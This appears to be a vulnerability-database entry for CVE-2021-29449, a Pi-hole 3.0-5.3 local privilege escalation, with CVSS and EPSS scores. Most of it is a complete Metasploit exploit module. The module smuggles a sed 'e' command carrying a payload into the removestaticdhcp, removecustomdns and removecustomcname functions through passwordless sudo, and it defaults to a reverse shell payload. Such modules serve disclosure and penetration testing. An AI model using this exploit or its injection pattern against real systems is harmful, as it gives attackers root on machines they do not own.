7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.2 High
AI Score
Confidence
High
7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.003 Low
EPSS
Percentile
70.6%
Pi-Hole versions 3.0 through 5.3 allows for command line input to the removecustomcname, removecustomdns, and removestaticdhcp functions without properly validating the parameters before passing to sed. When executed as the www-data user, this allows for a privilege escalation to root since www-data is in the sudoers.d/pihole file with no password.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
# includes: is_root?
include Msf::Post::Linux::Priv
# includes writable?, upload_file, upload_and_chmodx, exploit_data
include Msf::Post::File
# for whoami
include Msf::Post::Unix
# for get_session_pid needed by whoami
include Msf::Post::Linux::System
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pi-Hole Remove Commands Linux Priv Esc',
'Description' => %q{
Pi-Hole versions 3.0 - 5.3 allows for command line input to the removecustomcname,
removecustomdns, and removestaticdhcp functions without properly validating
the parameters before passing to sed. When executed as the www-data user,
this allows for a privilege escalation to root since www-data is in the
sudoers.d/pihole file with no password.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Emanuele Barbeno <emanuele.barbeno[at]compass-security.com>' # original PoC, analysis
],
'Platform' => [ 'unix', 'linux' ],
'Arch' => [ ARCH_CMD ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_php_ssl' },
'Payload' =>
{
'BadChars' => "\x27" # '
},
'Privileged' => true,
'References' =>
[
[ 'URL', 'https://github.com/pi-hole/pi-hole/security/advisories/GHSA-3597-244c-wrpj' ],
[ 'URL', 'https://www.compass-security.com/fileadmin/Research/Advisories/2021-02_CSNC-2021-008_Pi-hole_Privilege_Escalation.txt' ],
[ 'CVE', '2021-29449' ]
],
'DisclosureDate' => '2021-04-20',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
},
'Targets' => [
['DHCP', { 'min' => Rex::Version.new('3.0') }], # exploitable by default, expecially when combined with unix/http/pihole_dhcp_mac_exec
['DNS', { 'min' => Rex::Version.new('5.0') }],
['CNAME', { 'min' => Rex::Version.new('5.1') }],
],
'DefaultTarget' => 0
)
)
end
def sudo_pihole
'sudo /usr/local/bin/pihole -a'
end
def pihole_version
version = cmd_exec('sudo /usr/local/bin/pihole -v')
/Pi-hole version is v([^ ]+)/ =~ version
Rex::Version.new(Regexp.last_match(1))
end
def check
w = whoami
print_status("Current user: #{w}")
v = pihole_version
print_status("Pi-hole version: #{v}")
unless v.between?(target['min'], Rex::Version.new('5.3'))
return CheckCode::Safe("Pi-Hole version #{v} is >= 5.3 and not vulnerable")
end
unless w == 'www-data'
return CheckCode::Safe("User must be www-data, currently #{w}")
end
CheckCode::Appears("Pi-Hole #{v} with user #{w} is vulnerable and exploitable")
end
def method_dhcp
f = '/etc/dnsmasq.d/04-pihole-static-dhcp.conf'
if !file?(f) || read_file(f).empty?
mac = Faker::Internet.mac_address
ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
print_status("Adding static DHCP #{mac} #{ip}")
cmd_exec("#{sudo_pihole} addstaticdhcp '#{mac}' '#{ip}'")
end
unless file?(f)
print_error("Config file not found: #{f}")
return
end
print_good("#{f} found!")
print_status('Executing payload against removestaticdhcp command')
cmd_exec("#{sudo_pihole} removestaticdhcp 'a/d ; 1e #{payload.encoded} ; /'")
if mac
cmd_exec("#{sudo_pihole} removestaticdhcp '#{mac}'")
end
end
def method_dns
f = '/etc/pihole/custom.list'
if !file?(f) || read_file(f).empty?
name = Faker::Internet.domain_name
ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
print_status("Adding DNS entry #{name} #{ip}")
cmd_exec("#{sudo_pihole} addcustomdns '#{ip}' '#{name}'")
end
unless file?(f)
print_error("Config file not found: #{f}")
return
end
print_good("#{f} found!")
print_status('Executing payload against removecustomdns command')
cmd_exec("#{sudo_pihole} removecustomdns 'a/d ; 1e #{payload.encoded} ; /'")
if name
cmd_exec("#{sudo_pihole} removecustomdns '#{ip}' '#{name}'")
end
end
def method_cname
f = '/etc/dnsmasq.d/05-pihole-custom-cname.conf'
if !file?(f) || read_file(f).empty?
name = "#{rand_text_alphanumeric(8..12)}.edu"
print_status("Adding CNAME entry #{name}")
cmd_exec("#{sudo_pihole} addcustomcname '#{name}' '#{name}'")
end
unless file?(f)
print_error("Config file not found: #{f}")
return
end
print_good("#{f} found!")
print_status('Executing payload against removecustomcname command')
cmd_exec("#{sudo_pihole} removecustomcname 'a/d ; 1e #{payload.encoded} ; /'")
if name
cmd_exec("#{sudo_pihole} removecustomcname '#{name}' '#{name}'")
end
end
def exploit
if target.name == 'DHCP'
method_dhcp
elsif target.name == 'DNS'
method_dns
elsif target.name == 'CNAME'
method_cname
end
end
end
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.2 High
AI Score
Confidence
High
7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.003 Low
EPSS
Percentile
70.6%